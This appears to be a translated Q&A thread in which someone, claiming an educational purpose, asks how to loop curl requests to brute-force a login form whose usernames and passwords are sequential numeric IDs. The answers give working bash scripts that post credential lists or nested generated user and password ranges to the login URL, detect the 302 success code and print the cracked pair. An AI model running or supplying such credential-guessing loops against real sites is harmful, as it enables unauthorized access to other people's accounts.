这仅用于教育目的,显然login
模块旨在强制执行。
我使用与user
类似的pass
登录。 user
是这样的数字:
1234001
我可以使用如下的单个请求登录:
curl -iL --data-urlencode user="1234001" --data-urlencode password="1234001" http://foo.dev/login
现在的问题是,我如何循环,假设我收到302代码,如果成功
url="http://foo.dev/login"
for i in 300; do
curl -iL --data-urlencode user="1234001" --data-urlencode password="1234001" http://foo.dev/login
// if????
done
答案 0 :(得分:1)
首先:
cat input.txt
user1 pass1
user2 pass2
. .
. .
. .
然后尝试:
#!/bin/bash
if [ $# -ne 1 ];then
echo "Usage: ./script <input-file>"
exit 1
fi
while read user pass; do
curl -iL --fail --data-urlencode user="$user" --data-urlencode password="$pass" http://foo.dev/login 1>/dev/null 2>&1
if [ $? -eq 0 ];then
echo "ok"
elif [ $? -ne 0 ]; then
echo "failed"
fi
done < $1
同样HEREDOC
解决方案:
#!/bin/bash
while read user pass; do
curl -iL --fail --data-urlencode user="$user" --data-urlencode password="$pass" http://foo.dev/login 1>/dev/null 2>&1
if [ $? -eq 0 ];then
echo "ok"
elif [ $? -ne 0 ]; then
echo "failed"
fi
done <<__HERE
user1 pass1
user2 pass2
. .
. .
. .
__HERE
答案 1 :(得分:1)
我建议稍微更改curl
调用:
url="http://foo.dev/login"
for user in $(userlist_gen); do
for pass in $(passlist_gen); do
http_code=$(curl -L --data-urlencode user="$user" --data-urlencode password="$pass" "$url" -w '%{http_code}' -o /dev/null -s)
if [[ $http_code -eq 302 ]]; then
echo "Success: User: '$user' Pass: '$pass'"
break 2
fi
done
done
-o /dev/null
将返回的网站打印到/dev/null
,基本上将其丢弃-i
时不需要/dev/null
-s
会抑制所有错误消息(可选,但禁用进度输出)-w '%{http_code}'
在完成操作后将HTTP响应代码输出到stdout。此代码将遍历由userlist_gen
生成的所有用户ID(可能使用seq 1234001 1234999
),然后针对passlist_gen
生成的密码为每个用户循环。 -o /dev/null
和-w '%{http_code}'
仅将HTTP响应代码保留为stdout上的输出,该输出存储在$http_code
中。然后将其与302
进行相等性比较,并在成功时退出两个循环。 (如果您想尝试所有用户,请使用break
代替break 2
。
答案 2 :(得分:0)
您可以通过以下方式检查返回值:
curl -iL --data-urlencode user="1234001" --data-urlencode password="1234001" http://foo.dev/login; ret=$?
echo "return value is $ret"
if [ $ret != 0 ];then
echo "call failed"
fi
您需要将上面的代码放在while循环中。 $?存储最后一个命令的退出状态。